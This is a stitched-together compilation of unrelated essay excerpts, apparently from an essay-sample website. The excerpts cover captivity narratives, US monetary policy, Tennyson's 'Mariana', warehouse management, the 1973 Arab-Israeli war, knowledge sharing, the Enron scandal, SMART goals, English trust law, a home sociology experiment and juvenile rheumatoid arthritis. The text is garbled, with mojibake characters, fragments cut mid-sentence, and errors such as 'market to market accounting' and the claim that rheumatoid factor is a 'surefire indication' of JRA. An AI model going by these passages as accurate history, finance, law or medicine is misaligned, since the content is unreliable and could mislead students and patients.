neighboring tribes. Compared to James Smith’s experiences, Mary Rowlandson had it tough when she was a captive of the Indians. Gender had a major effect on how the captives were treated. Native Americans often captured women because they were easier to capture, could bring in more ransom, and the Indians also believed that the women would be easier to control. Mary Rowlandson had to make clothes for others in order to either trade with them or to get money that she could then use to obtain food with. James Smith, on the other hand, was able to go out and hunt for the food he needed. The food that he and his fellow Indians gathered was evenly divided amongst the tribe. Rowlandson, however, was treated better by some tribes than the one she was being held captive in. Some Indians from other tribes would offer her food or opportunities to get money or goods that she needed. This was likely due to the fact that women had more powers and were more respected in some Indian tribes. Smith was expected to help and fend for himself while Rowlandson was often provided with food, though it was not a fair share and was often not of the same value that Smith’s was. Overall, Mary Rowlandson was treated disrespectfully, unfairly, and as though she was inferior. Rowlandson had to fight harder to live, as her food was often stolen and her religion, her greatest hope and strength, was frowned upon during her captivity. Religiously, Mary Rowlandson was affected more than James Smith. Mary Rowlandson was very religious. Rowlandson was married to a minister of Lancaster. Mary Rowlandson’s faith and religion were the only things that kept her going during her captivity. The only thing she had to look forward to was reading her bible, though she had to do it secretly because once, her mistress caught her reading it, grabbed it out of her hands, and threw it ou tside. Rowlandson recovered her bible, but from then on she read it more secretly. Mary Rowlandson believed that all of the trials that she survived and the blessings that she received were from God. Rowlandson wrote of leaving her captivity, â€Å"I have been in the midst of those roaring lions and savage bears that feared neither God nor man nor the devil, by night and day, alone and in company, sleeping all sorts together, and yet not one of them ever offered the least abuse of unchastity to me in word or action; though some are ready to say I speak it for my own credit; but I speak it in the presence of God, and to His glory. God’s power is as great now as it was to furnace. Especially that I should come away in the midst of so many hundreds of enemies and not a dog move his tongue.† Mary Rowlandson often quoted bible verses, one being Psalsms 27: â€Å"Wait on the Lord.† Rowlandson used this particular verse to persuade another captive against trying to escape and run away. and metaphorically related her experiences to stories of the bible .Mary Rowlandson depended upon her religion to survive her captivity. Without, her faith, religion, and God, Mary Rowlandson would have had no hope, no reason to go on, or no encouragement to persevere through her captivity. James Smith was not extremely religious. Unlike Mary Rowlandson, James Smith did not depend upon religion to survive his captivity with the Indians. The Indians that Smith was with did not mind him practicing his own religion and they did not force their religion upon him. James Smith was, towards the end of his captivity, traveling with an Indian by the name of Tecaughretanego and his son Nunganey. After Smith laughed at Tecaughretanego’s religious ceremonies, Tecaughretanego said to him, â€Å"Brother,–I have somewhat to say to you, and I hope you will not be offended when I tell you of your faults. You know that when you were reading your books in town I would not let the boys or any one disturb you; but now, when I was praying, I saw you laughing. I do not think that you look upon praying as a foolish thing; I believe you pray yourself. But perhaps you may think my mode or manner of praying foolish; if so, you ought in a friendly manner to instruct me, and not make sport of sacred things.† Smith learned a lot about the Indians’ religion through his experiences with them and learned to respect their beliefs. Though the experiences of James Smith and Mary Rowlandson were very different, neither story will ever be forgotten. Perhaps that was their purpose for recording their exploits. The differences in their stories can be attributed to their sex, religion, and captors. Had Mary Rowlandson not been female, religious, or captured by the Indians she was, her story may have been very different. Also, for James Smith, had he not been male or taken by the Indians he was his story would have been completely altered. The qualities, beliefs, and characteristics of Mary Rowlandson and James Smith were essentially what saved their lives.

Recent Direction of Monetary Policy in a Country of Your Choice Essay

Recent Direction of Monetary Policy in a Country of Your Choice - Essay Example Presently, the Reserve Bank executes the functions of the monetary policies in the USA for the purpose of controlling significant issues such as inflation, unemployment, and investment trends among others (Mankiw, 1997). Notably, there lie several purposes of the monetary policies that have been transformed periodically. The various guidelines of the government of a particular country possessed a noteworthy role in the economy in which the central bank acts for the purpose of executing the monetary or fiscal policies to a large extent. The chief motives of executing the monetary policies are to enhance the progression as well as the advancement of a country, decreasing the rate of unemployment and maintaining stable prices of different commodities (Reserve Bank of New Zealand, 2007). Monetary or fiscal policies are often related with certain important factors including the facilities of credit and the rate of interests among others. It can be stated that the monetary guiding principl es establish a kind of interrelation amid the rate of the interest charges which indicates toward the price or charge at which money can be borrowed and also toward the overall money supply in an economy (Taylor, 2001). In this paper, a brief idea regarding the conception of monetary policy along with its recent direction prevailing in an economy is taken into concern. In this regards, this paper will focus on presenting a brief overview of monetary policies prevailing in USA specifying its recent direction. A Brief Overview of Monetary Policies in USA Monetary policy of any nation is defined as the management of money supply and interest charges that are executed by the central banks of various countries to control the rising commodity prices as well as to diminish the rate of unemployment to a certain extent. From an in-depth point of view, it can be inferred that the monetary policies have a considerable impact upon the demand in an economy which in turn tend to affect the rate o f interest charges (Patnaik, 2007). It is in this context that the substantial increase in the rate of interests makes the finance lending abilities of an individual more costly where the organizations as well as the firms hold fewer inventories. Moreover, a rise in the interest charges also influences the investment initiatives of an individual as well as of any industry participant to be more costly. Subsequently, the assets tend to lose its real value (Floyd, 2010). Furthermore, in relation to the financial reforms considered in the USA, the role and the importance of the monetary policies have posed greater attention as a major economic growth driver. Notably, the adequate functioning of the monetary policies is to sustain a stable and low inflation rate in the economy. The significances as well as the purposes of the monetary policies have increasingly become the prime importance of the policy makers in the USA for the purpose of introducing certain policies that would support to maintain a stable and low inflation rate (Friedman, 1968). The broad aims or targets of the monetary policies are to attain rapid rate of financial progression and advancement of the economy, making sure to preserve the stability of price into the economy. It also aims at generating more employment prospects and promoting distributive integrity towards the economy (Rangarajan, 1997). The issue of stability of prices, a low and a steady price situation among others are also fundamentally regarded as a necessary element for the purpose of enhancing as well as raising the productivity and growth of an economy (Rangarajan, 1997). Moreover, the other purposes of the monetary policies include stabilizing the rate of inter

Poet Explication Essay Example | Topics and Well Written Essays - 1000 words

Poet Explication - Essay Example Mariana is a women character deserted by her lover originated from Shakespeare’s Measure for Measure written in 1830.The Autobiographical element in Tennyson’s life enhances deeper understanding of the poem and conveys why the suffering depicted in the poem is intentionally infectious and has a haunting nature. There are references that Tennyson himself suffered from mental illness as did his other members of immediate family which equipped him to travel inside the mind of Mariana and expressed it in the most telling manner. The poem is written in definite syllabic pattern iambic pentameter. The long lines render peculiar movement pattern with a slow sad and depressing note matching the unending uncertainty. Repetition of the chorus at the end of each stanza serves as an echo of the suffering and contributes to the haunting nature of the poem. Each stanza is divided into 3 to 4 line with rhyme units ABAB CDDC EFEF .The EF lines are maintained repetitively in each stanza to give an effect of a chant for the return of her lover and her unending predicament. The mind of Mariana, every object in her household and even nature the dawn, dusk and the night, all are alike entrapped in melancholy. This mutually intensifies the agony depicted in the poem .This is the poetic device of pathetic fallacy adopted in 19th century English poetry. It is a technique of attributing the feelings of the subject to external objects or nature to create a desirable effect. In the first stanza with the blackest moss crusted on the flower pots in the opening line, the poet draws us in to the dark mood followed by a thick cluster of strong images. The rusted nails holding the pear to the wall fall from the knots. This suggestive of the futile passage of time and how memories have become lifeless disjointed and dead. The broken sheds symbolize her state of mind and serpentine hissing sound ingrained in the words â€Å"sad and strange â€Å"evoke ideas of sinister

Project Management Assignment Example | Topics and Well Written Essays - 2000 words

Project Management - Assignment Example Additionally, such technologies prove data management and visibility. It should be noted that companies and organizations that have above average performers in their warehouses usually performed with maximum quality and quantity along their production lines. Most of such organizations have been classified as world-class companies that have since lowered their warehousing costs annually. Therefore, in adopting a new warehouse for the Joshua Ltd management must consider adopting and implementing the technological systems within the warehouse. Warehouse Technology Investment Plan Most of the warehouse machineries must be in the automated equipment and visible data management that is provided for by the use of the internet monitoring technology. Even though the use of technology shall require adequate training of the employees, the system may be expensive for the very instance; however, the use of automated warehouse will be less expensive at the long run (Roberts, 2011). Additionally, t he installations and purchase of such equipment will be expensive for the company including the space that some of these automated equipments may require. ... Initiation of reporting capabilities and management planning Planning to adopt and use recommended warehouse layout and slotting tools. These tools will increase goods and services handling within and outside the warehouse. Moreover, in this category, the company may adopt highly experienced integrator systems to increase the productivity within the warehouse footprints (Mckinney, 2003; pg. 78). Finally, the new warehouse management must focus on analytics towards improving gross margin and productivity management. Background Information The current business demands especially business that are involved in supply chain can no longer ignore warehouse management system. Such companies and organizations usually expect more from warehouses especially to support them distribution operations (Site selection & industrial development, 1988; pg. 72). The warehouses provide great visibility in order, stacks statuses, and inventory especially inside the warehouse. Additionally, well-structured and organized warehouse will allow channel expansion and support sales growth as well as increase the tailored customer service fulfillment. Regardless of facility square footage or revenue of the company, different analyses have indicated warehouse management systems especially the automation are fundamental in facilitating effective and efficient warehousing technology towards best class productivity (Csapo? and Balogh, 2012; pg. 187). The contemporary warehouse management systems or technologies offer elaborate and expanded capabilities as well as improved visibility. Therefore, all companies regardless of the size should embark on effective warehouse systems and or technologies to fast track operation and service delivery within such organizations

The Strategic Causes of Conflict - What caused the 1973 Arab-Israeli Essay

The Strategic Causes of Conflict - What caused the 1973 Arab-Israeli War - Essay Example Egyptian President Anwar al-Sadat instead opted to resolve the issues through diplomacy, and resorted to withdrawing the Mitla and Gidi. Additionally, President Anwar suggested starting the diplomatic relations with the US and signing a peace pact with Israel, however, Israel also decided to withdraw to the armistice borders that were earlier established before June 5, 1967. There have been various schools of thought with regards to the implications and genesis of this war, on one side, the West European political elites placed blame on the United States for provoking the war through the assistance it provided to Israel. On the other side of the divide, Edward Heath, the then British Prime Minister did not welcome the United State’s response towards the war by its unanimous decision to uplift nuclear forces to Defense Condition 3 (DEFCON3) without giving the British government timely warning. Scholars have provided various perspectives of the October 1973 war, with a major focus on the military dimension, its societal implications between Arab, Israel and its neighbors, and its crisis in the Cold War. Given its huge crisis and implications, various researchers have only compared this war to the Suez War in 1956, the Bosnian civil war of 1992-3, and the latest Iraq war of 2003. 3This paper examines the strategic causes of this and the involvement of countries that fueled the war. An attempt is also made to provide an in depth analysis of the Western influence into this war with a focus on Britain and US. At the end of this paper and an attempt will be made to look into the negotiation process and peace building strategies that were put in place in a bid to resolve this war. Background to the Israel-Arab War When the Israel-Arab War broke out in the year 1973, Israel found itself in a defenseless position and not ready for the War for the first time – scholars have a rgued that this was a very big mistake for a nation that possessed very little information on its territorial boundaries and its enemies. However, with the progress of the war, Israel over time gained military superiority, but all in all, it was Egypt that emerged victors in the war through be achieving its main goal. In the end, the stalemate that had been at the heart of the Israeli-occupied Sinai was resolved, leading to the Camp David Accords and the Egypt’s reacquisition of the Peninsula. Other scholars have conceded that the War was in equal measure the success of President Anwar Sadat, and it never have been possible without the element of surprise tactics achieved through a carefully planned strategic deception approaches. While there were various elements to that deception campaign, an interesting one that was employed relevant to this particular case was the one of Ashraf Marwan, who was a high ranking-ranking Egyptian official and Israeli spy who by that time marri ed to the daughter of Ganal Abdel Nasser. In his endeavor in making diplomatic approaches to the conflict, President Anwar was already in the process of preparing for war. In this process, President Anwar contacted his Syrian counterpart, President Hafiz al-Asad to plan

Knowledge mangemen assignment Essay Example | Topics and Well Written Essays - 1500 words

Knowledge mangemen assignment - Essay Example Of the numerous activities constituting the knowledge management process, the most commonly discussed is knowledge transfer or knowledge sharing (Al-Alawi et al, 2007). Hislop (2009) observes that in the first generation of knowledge management literature, organisational socio-cultural factors were marginalised, and were not taken into consideration. However, the significance of organisational culture in knowledge sharing behaviour has now been established. Employees’ motivation and willingness to share knowledge emerges from the organisational culture, which is defined as the shared, basic assumptions that an organisation learnt while coping with the environment and solving problems of external adaptation and internal integration, taught to new members as the right way to solve those problems (Park et al, 2004). Thesis Statement: The purpose of this paper is to investigate how organisational culture can influence knowledge sharing behaviour in the workplace. Organisational Cu lture Influences Knowledge Sharing Behaviour While the strategies and the technologies for knowledge management enable the proper channelisation and dissemination of knowledge, the culture of the organisation directly influences knowledge sharing among employees. Knowledge sharing is also related to the importance given to intellectual capital in an organisational culture. In a rapidly developing economy such as India there is considerable emphasis on intellectual capital in various spheres including organisational knowledge management. Cheema (2010) asserts that education in knowledge management is critical for organisational managers and human resource personnel, and their leading with knowledge helps the organisation to achieve sustained competitive advantage in the growing global market of today. The key debates and the various perspectives in organisational knowledge management begin with the origins of the study of knowledge, or its epistemology, argues Hislop (2009). The proc essing of knowledge within the organisation, and its connection to human motivation are also essential factors. Social and cultural issues particularly those pertaining to the workplace, play vital roles in knowledge management and in the sharing of knowledge. Organisational knowledge is of a collective and shared nature, and its different dimensions are reflected in the dynamics of knowledge production and dissemination. Further, knowledge processes pertain to conflicts and politics at the workplace , which are inherent parts of organisational culture. They reveal the ways in which knowledge and power are mutually related, states Hislop (2009). Each organisation has a distinctive culture which reflects the organisation’s identity both in the visible and in the invisible dimensions. The visible aspect of culture is found in the values, philosophies and mission of the company, while the invisible dimension is formed by the unspoken set of values directing employees’ act ions and approaches in the organisation, state McDermott and O’Dell (2001). The critical success factors in organisational culture that influence knowledge sharing included mutual trust between employees, with a high expectancy of reliability of the promise or actions of other individuals or groups. Only when there is trust do team members respond openly and share their knowledge (Politis, 2003). Further, top

Enron Corporation Case Study Example | Topics and Well Written Essays - 1500 words

Enron Corporation - Case Study Example Executive Summary Some stories are so unbelievable that they become Hollywood movies. One of those stories is the Enron scandal. The movie called Enron the Smartest Guys in the Room was created based on the Enron story. Enron was once the biggest company in the energy industry, but a complex fraudulent scheme that began many years prior to the revelation of the fraud led to its demise. The corporate executives of the company were the primary agents that designed one the biggest accounting scandals in United States history. Two of the accounting tools that were used by Enron to cook up the numbers were market to market accounting and off balance sheet liabilities. The company would own only 49% of a subsidiary in order not to have to report liabilities of the entity. Debt from Enron was hidden in thousands of hedge funds or subsidiaries. It was all a huge scam. The organization violated or used to its advantage a variety of organizational theories. Five of the theories that influenced the behavior of Enron management and its employees were agency problem, corporate culture, teamwork, perception, and leadership. Agency problems exist at Enron in terms of the yearly bonuses, inside trading activity, and in the partnership scheme particularly the LJM partnership. The executive management team colluded with each other in a team effort. The leadership abilities of the top executive managers were outstanding. The corporate culture of the company was based on greed, disloyalty, and unethical behavior. The managers of the company were able to create a perception of a superb company that had tremendous financial performance. This was not true since the company was a fraudulent firm. Statement of the Problem Enron Corporation cooked up the numbers by violating the conservatism principle in market to market transactions and used deceptive accounting practices to hide liabilities by creating a complex network of partnerships. The mastermind of the network hedge funds was An dy Fastow. All the top corporate executives were crooked. The traders were unethical and money hungry. In a partnership called LJM Fastow stole $45 million. The company had a rotten corporate culture where the employees had tough pressures to perform or they would be fired. The company got corrupted and collusion occurred which led to the biggest corporate crime of the 21 century. Analysis of the Problem The Enron accounting scandal was a well orchestrated machine. Prior to the whistleblower revealing the truth nobody knew that the accounting of the company was not truthful. The Securities and Exchange Commission approved the use of market to market accounting for Enron. They could have never imagined that it was going to be used as a tool for deception and financial fraud. When the company got a new energy contract they would recognized the profits immediately without any cash coming in. The executives exaggerated the benefits of the energy contracts in order to boost profits and r eceive bonuses and rewards for fake money. The company was creating monopoly money that did not really exist. In the year 2000 the company reported $1 billion in profits. The truth was that they did not make any money whatsoever. The company for years was overstating the value of the energy contracts. As time passed most of the earnings did not manifest themselves. The company in reality was

SMART Goal Setting Essay Example | Topics and Well Written Essays - 250 words

SMART Goal Setting - Essay Example Through the application of SMART goals, it is easier to set goals that drive change and engage all the stakeholders in initiating change. The SMART goals also help in an assessment of the successes of the organization, and what aspects needs to be changed to attain the EHR objectives (Amatayakul, 2012). Through SMART goal setting in EHR as well, it is evident that an implementation project is possible. After setting the goals, the implementation process becomes easier since a follow up program is easily drawn. The set goals are also practical in a way that the expectations are already set and all support mechanisms are enacted so as to achieve the goals (Amatayakul, 2012). Simply put, the SMART goals setting in EHR has been credited with the ability to increase efficiency in the clinical setting as well as patient care (Amatayakul, 2012). However, challenges such as lack of proper follow up hinder a successful realization of the application of SMART goal setting in the clinical

Equity and Trusts (England and Wales) Essay Example | Topics and Well Written Essays - 2000 words

Equity and Trusts (England and Wales) - Essay Example d her children in equal shares. Thus there can be no doubt that Sir Clarence intended to create a trust out of the transfer of the property/gifts to Tilda. In order to give effect to Sir Clarence’s intention to create a trust, certainty of subject and object must be satisfactorily established.4 In this regard, certainty of subject matter is sufficiently established if the property transferred or to be transferred to the trust can be identified and administratively workable.5 The sum of money transferred to Tilda to administer is specific and certainly capable of division and is thus identifiable and readily administrable. Since the seaside property was transferred to Tilda, the seaside cottage is likewise identifiable and administrable. Certainty of objects is established if the words used to describe the beneficiaries are sufficient for the courts or the trustees to identify and administer the trust among specific beneficiaries or a class of beneficiaries.6 In a discretionary trusts, the trustees need only be able to identify by virtue of an in or out test, who the beneficiaries are. However with a fixed trust, as this particular trust appears to be, the trustees must be in a position to draw up a complete list of all of the beneficiaries.7 Even so the in or out test will be effective for determining who Davina’s children are. It is also possible to draw up a complete list of the beneficiaries. Therefore whether or not the trust is discretionary or a fixed trust, certainty of objects can be established. Tilda, who is Sir Clarence’s friend should certainly be able to identify Davina and her children. Likewise the courts can easily identify who Davina’s children are as births are a matter of public record. Thus far it has been established that the three certainties have been satisfied in the gifts to Davina and her children. However, the disposition of the freehold in the cottage to Tilda upon trust for Davina and her children cannot be enforced unless it meets the formal requirements for the disposition of an equitable interests in land pursuant to Section 53(1)(c) of the Law of Property Act, 1925. Section 53(1)(c) of the Law of Property Act 1925 provides that the disposition of an equitable interests in land must be evidenced in writing.8 It therefore follows that while the gift of 200,000 pounds forms the subject of a valid trust, the seaside cottage does not since it does not meet the requirements of Section 53(1)(c) of the Law of Property Act, 1925. Therefore the principle of resulting trusts is relevant. A resulting trust will arise to essentially transfer the property back to Sir Clarence. This is possible because the resulting trust functions to give effect to that which is conscionable.9 In particular a resulting trust will arise when both the trustee and the settlor agreed and know that the settlor never intended to transfer the property to the trustee absolutely or the trustee treats the property in a way that does not correspond with the settlor’

Social Experiemt Essay Example for Free

Social Experiemt Essay For my sociology experiment, I chose to act like a stranger in my own house. The way I did this was by doing small things such as asking other people, mainly my brothers, to do things such as get me drinks and bring me in my dinner. I noticed while carrying out my experiment that even though my brothers may not have necessarily been happy to be bossed around by me, they still did everything that I asked them to do without question. I think this is because they saw my identity seemed as if it had changed, and they therefore felt that because I was acting like a guest in my own house, that I should be treated in that way. I am going to carry out my experiment by acting like I am a stranger in my own house, by asking other people to do things for me, and also not doing things such as laying down on the couch. I am going to do it during a weekend because it is the time when I am at home for the longest periods of time after I have finished working and it is also when everyone else is most likely to be in. I dont think that there are any ethical implications from me carrying out this experiment, as I dont think that it can cause anyone any long term ill-health or create any side-effects that are long-term. It could possibly cause someone stress whilst I am carrying out my experiment as it could make them be rushed and feel under pressure to do what I tell them to do and could also be very annoying if I was always waiting for them to tell me what to do, such as taking my shoes off when I go in the house. I think that because I was acting in a strange way, they gave me a new social identity, which was not that of a brother or a son, but of a stranger living in the same house as them. Even though I kept my own personal identity, I managed to change my social identity for a small amount of time. Although at first they didnt seem to understand what I was doing by asking them to get me things, they soon realised that if they didnt do it for me that I wouldnt get it at all, so they felt as if they were almost being forced to get things for me. I felt that norms like me being more responsible and having to look after my brothers were no longer in place and that although they knew that I was in charge, they were the ones that ultimately had to take control and act as if they were hosts. I think that towards the end of my experiment that my brothers were getting a bit frustrated with having to do things that I told them to do, and also with them having to tell me where to sit etc. However, my own feelings were not affected, and if anything, I felt as if it was a nice change for me to be able to ask my younger brothers to get me things, instead of the usual situation it is whereby they are always asking me for things.

Introduction To Juvenile Rheumatoid Arthritis Nursing Essay

Introduction To Juvenile Rheumatoid Arthritis Nursing Essay In order to fully understand and grasp the meaning of the term juvenile rheumatoid arthritis (JRA), one needs to look into its componential words and see what each of them mean. The term juvenile refers to the state of being young, childish or infantile. Rheumatism describes any painful condition related to the motor system of the body. This pertains to joints, muscles, soft and connecting tissues. As discussed to this point, the prefix rheuma- originates from a Greek word rheuma  [1]  which pertains to the flowing of a river or stream. Arthritis on the other hand is a term concerned just with joint disorders. The term again originates from the Greeks. Artho- means joint and -itis means inflammation. A joint is where bones meet such as the shoulder joint, knee joint, hip joint and the small joints in the hands and feet. Joining the terms to fully comprehend the phrase juvenile rheumatoid arthritis, one can conclude that it is a joint disorder found in youth. Indeed, arthritis is not a disorder exclusive to the elderly population. Introduction to Juvenile Rheumatoid Arthritis Children at the age of sixteen and below who experience joint disorders fall in the category of juvenile rheumatoid arthritis. Children can complain about aches in their joints which can be caused by multiple reasons. However, if the pain persists for six weeks  [2]  or more or there is swelling on or around the joints, the child might be suffering from JRA. Arthritis is a chronic condition and lasts a long time. It causes inflammation of one or more joints, sometimes retarding bone development and growth. Important questions that arise from the discussion so far are: 1) Why categorize juvenile arthritis as a disease separate from that experienced by the adults?, and 2) Why can the two not be considered the same and treated as such when it is joint disorder that is the core problem? To answer these questions, some major differences between adult and juvenile rheumatoid arthritis are provided as follows:  [3]   Quick Facts and Statistics The majority of the patients suffering from JRA outgrow the disease, a finding that is very rare in the adult forms of arthritis. Rheumatoid arthritis in adults is a single disease with different manifestations, while JRA has distinct subtypes and is much rarer than arthritis in adults. JRA patients, more often than not, have negative rheumatoid factor (RF) in blood while seventy to eighty percent of the adults with rheumatoid arthritis have positive rheumatoid factor in circulation. JRA interferes with proper growth of the bones while that is not the case in adult in whom bones have already fully grown and developed. Due to these and other age-related factors, juvenile arthritis is termed a separate disease and dealt with accordingly. There are three major subtypes of JRA which can be determined by following the pattern of the disease in its first six months, considering how many joints are involved and whether certain types of antibodies are present in the blood. These include the following.  [4]   Oligoarticular JRA In this kind of JRA, only a few joints are affected. It usually affects large joints such as knee, shoulder and elbow. Oligo means short or few. When only one joint is affected, it is called monoarticular arthritis. This type is not very severe. Polyarticular JRA This form of JRA affects five or more joints, usually in hands and feet. A typical symptom is the swelling of fingers and toes. This type of JRA is often symmetrical, which means that if one joint is affected on one side of the body, the same joint is affected on the other side as well. Systemic JRA This type of JRA causes swelling, pain and limited motion in one or more joints. It also causes inflammation of internal organs such as the heart, spleen or liver. Typically, it causes fever and a pink rash. Fever comes at the same time every day. It is sometimes referred to as the Stills disease. The oligoarticular and polyarticular types of JRA are found to be more common among girls than among boys. However, systemic JRA equally affects girls and boys. Approximately fifty percent of the children suffering from JRA have the oligoarticular type, thirty percent have polyarticular type, and twenty percent suffer from the systemic type. Some important statistics, (from the same source) about the prevalence of JRA are listed below. These statistics give an insight about the magnitude of the problem and the number of people suffering from it.  [5]   One out of every 1000 children is affected by JRA worldwide. Young girls are more susceptible to the disease than boys are. The disease is more common among Caucasians than any other race. It is one of the most common childhood diseases found in the U.S. Approximately 294,000 children are affected by JRA in the U.S. Ambulatory care visits for JRA and other pediatric arthritis conditions are on average 827,000 annually. A new term for JRA has recently gained popularityjuvenile idiopathic arthritis (JIA). Idiopathic is a medical adjective which means when something happens spontaneously or without known cause. Since there are not many known causes of juvenile arthritis, thus the term JIA came into existence. Research suggests that JIA patients have a condition called autoimmune process.  [6]  This is when the immune system of the body becomes overly active and inappropriately starts attacking joint tissues as if they were harmful foreign bodies. Autoimmune processes are speculated to be triggered by a variety of reasons. On the top of the list are certain bacteria and viruses. Against popular belief, there is scarce evidence of children with food and other allergies developing arthritis. However, some research suggests genetic roots of the disease. If one family member has been diagnosed with an autoimmune disease, it is very much likely that others, especially siblings, may have it too. Diagnosi ng JIA is not an easy task. Most doctors use a combination of blood tests, X-rays (to rule out fractures or cancer) and physical examination. Physical examination of the child is considered to be the most important of the three. This will be discussed in detail later on in the chapter. Distinction Since there are more than a hundred different forms of arthritis known and treated, it is important to know what major factors distinguish one form from the other and how they affect the patient so that the problem is diagnosed properly and taken care of accordingly. Symptoms and features  [7]  typically related to JRA are as follows. Persistent joint pain, inflammation and swelling can occur. Joint inflammation over a long period of time can causes permanent and irreversible damages to cartilage and bone. Morning stiffness of joints or stiffness after a nap has been observed, but the morning stiffness gradually improves after the patient awakens. A child with JRA might exhibit irritability and refusal to walk or even use a specific joint. The patient might also suffer from recurrent fever with temperatures exceeding a hundred degrees. Fever usually occurs at the same time daily. Pale red or pink rash in the form of spots are typical in systemic JRA and usually appear on the chest and thighs and sometimes on other parts of the body. The rash usually accompanies fever spikes. Bone Characteristics Joints affected by JRA are mostly the knee and the joints in the hands and feet. Anemia, a lack of enough red blood cells is a common feature of polyarticular JRA. Remissions and flare ups are a common feature of standard JRA. There may be periods when no symptoms appear (remissions) and then there are periods when the severity of the symptoms reaches its peak (flare ups). Bone growth can be adversely affected. Growth can either become too fast or too slow causing one limb to become longer than the other, joints may grow unevenly, budding out to a single side. Overall bone development and growth might be slowed down to a considerable extent. Soft Tissues Muscles and other soft tissues around the affected joints may weaken. Weight loss and loss of appetite in children that suffer from JRA is very common. Irritation and disease of the eye, which is composed to soft tissue, is a typical feature of JRA. Symptoms include blurred vision or even complete loss of vision in extreme cases, excessive tearing, sensitivity to light, and redness in the eyes. Uveitis is the term for eye inflammation which affects the uvea of the eye. Another serious form of eye inflammation caused by JRA is iridocyclitis, a form of anterior uveitis. This is a serious problem and can lead to scarring of the eye and vision loss. Initially, there may be no visible symptoms of an eye problem. Resultant sleep disturbances are frequent among JRA patients. Children often face difficulty falling asleep and awaken several times during the night. Daytime sleepiness, mood swings and fatigue is also common. A child suffering from JRA should have regular eye checkups to detect any early changes in the eye in order to stop possible serious damage. Solid Outgrowths In some subtypes of JRA nodules develop on some parts of the body such as elbows. Nodules are small bumps which receive a lot of pressure and become extremely uncomfortable or painful for the patient. Swollen lymph nodes are also an outcome of JRA especially in the neck, under the jaw or on the groin. Patients may feel heat or a burning sensation in the joints as a result. Significance of Knowing the Distinguishing Features Symptomology The characteristic symptoms and features explained above are only possible outcomes of JRA and stand for a major part of why it is important to know the distinguishing features of JRA. Not all patients of this disease experience all the symptoms, and not all face the same intensity. Symptoms differ from child to child, and from subtype to subtype. Some patients may have longer remissions and fewer and shorter flare ups while others may have the opposite. Patients and caregivers must also realize that persistent joint inflammation, pain, and stiffness are common to all types of JRA and are mostly present in all patients and are typical signs of arthritis among children below the age of sixteen. Sensitivity to any changes that may occur in the childs gait, mood, sleeping habits can be very beneficial in a timely diagnosis and treatment of the disease. Children may not complain about the pain as one would have thought; they may learn rapidly to live with the pain. The Overlooked Burden JRA may affect the physical presentation of the young patient and can impact his or his emotional and social projection. This is another reason why it important to understand the distinguishing features of a JRA victim. Slower or faster bone growth can cause a limp or cause one arm or leg to be longer than the other and uneven joint growth provides for a different shape of the joints, especially elbows and knees. If joints of the hands and feet are affected, fingers and toes can become malformed and hands and feet can swell. Some medicines used in the treatment of JRA can cause weight gain due to water retention and make the face rounder. These changes in the physical appearance and the inability of the child to participate in some physical activities can create an emotional burden for him or her and cause extreme depression and stress. Others find it hard to accept the patients different physical appearances and more often than not are found to stare at the patients, thus making the m feel uncomfortable. Children with JRA feel left out and alienated. This stress is thought to further increase inflammation and joint pain. That is why proper emotional support from family as well as from school and an understanding of the childs feelings and limitations can help the JRA patient cope better with the disease. It has been observed that children at a very young age with rheumatoid arthritis find it relatively easier to adjust than those in their teens. Growing up during the teens can be a challenging experience in itself without having to cope with a chronic, crippling and a life-altered disease. School life is affected as does the social environment. JRA can leave children as loners with not many friends around just as adults with arthritis suffer from depression and insomnia. Adults are however better able to express and share their feelings with their doctor. Children tend to internalize their feeling of despair, which makes the situation worse. Teenagers are known to be worse at handling their emotions as they are frequently depressed and disturbed. Parents must make sure that they join a local support group, have understanding teachers in school and can continue some form of physical activity during remissions. Different studies suggest that authoritative parents of teenage juvenile ar thritis patients can worsen the situation. Giving enough autonomy in tasks such as socializing and physical activity can improve quality of life for these children, and hence provides another reason why knowing the distinguishing features of JRA is important. Techniques Initial Approaches There is no single test which can declare a child as having or not having juvenile rheumatoid arthritis. The first and the foremost factor that the doctor would consider is the length of time that the symptoms including joint pain, stiffness and/or inflammation have lasted. If the symptoms have lasted for more than six weeks, only then a doctor can consider further investigating for JRA. This is because these symptoms can arise from a variety of reasons such as injury and fractures. To rule out other causes of joint pain or inflammation, certain laboratory tests are run. X-rays are done to check for fractures or tumors that may be causing the inflammation. Imaging exam is also done to exclude diseases such as viral infections, bacterial infections, inflammatory bowel diseases and some forms of cancer that produce symptoms similar to that of JRA. A complete blood count (CBC) test is also done to rule out disorders such as leukemia and malaria. Medical History A detailed medical history and physical examination  [8]  can help in the detection of JRA immensely. A doctor can ask several questions to the child or to the parents that will help diagnose the problem. These questions may include the following: When exactly did the symptoms first begin to appear? Which joints are affected? Do the joints feel stiffer in the morning? Is the child limping? Has there been weight loss? Has there been a loss of appetite? Can the child bear weight on the affected joints? Is there a family history of arthritis? The above inquiries provide very useful revelations for the doctor and will make diagnosis of juvenile rheumatoid arthritis much easier. Physical Examination The components of the physical examination of JRA are listed below. Careful inspection of the affected joints Evaluation of body temperature to record fever Examination of the skin to look for rashes Observation of the lymph nodes to look for any swellings During such an examination the doctor takes notes of the kind of joint inflammation, other symptoms like fever or rash and the number and location of affected joints. This information is deterministic in the diagnosis of JRA. At the Lab Some laboratory screening tests  [9]  for JRA are listed below. The Antinuclear Antibody Test This test is used for seeking certain antibodies present in the child suspected of having JRA. The presence of such antibodies increases the likelihood of the young patient to develop iritis, an eye inflammation thought to cause permanent damage to the eye. Some children with JRA have an increased risk of developing iritis. By helping to determine the likelihood of iritis, this test allows the doctor to regularly check the eyes of JRA victims who are more susceptible to develop iritis and prevent permanent damage. Rheumatoid FactorAnother blood test is done to see if rheumatoid factor is present in the blood of the child. The rheumatoid factor is an antibody that determines whether the child is likely to carry the disease into the adulthood or not. This antibody attacks healthy body tissues and causes damage. Presence of RF in blood in a child is a surefire indication of JRA. Other Tests Known as ESR or SED, the erythrocyte sedimentation rate test is used to determine the degree of inflammation and assists in figuring out the subtype of JRA present. Complement is a term that scientifically refers to a group of proteins in the blood. A complement test is simply done to measure the level of complement in blood. Low levels of complement are associated with immune system disorders such as JRA. Sometimes, urine analysis of the child can indicate kidney disorders that are again associated with immune system issues. White blood cell count in the blood is another screening technique for JRA. Increased number of these specialized cells indicates possible infections while a decreased amount suggests possible rheumatoid disease in the child. Arthrocentesis is a process whereby fluid is extracted from around the affected joint with the help of a syringe and then analyzed for diagnosis. Hematocrit is a test to measure the level of red blood cells in the blood. Decreas ed levels of red blood cells, also known as anemia, are associated with rheumatoid diseases in children. Treatment as a Technique Once JRA has been detected, treatment is immediately started. The treatment approach is twofold: 1) to reduce the 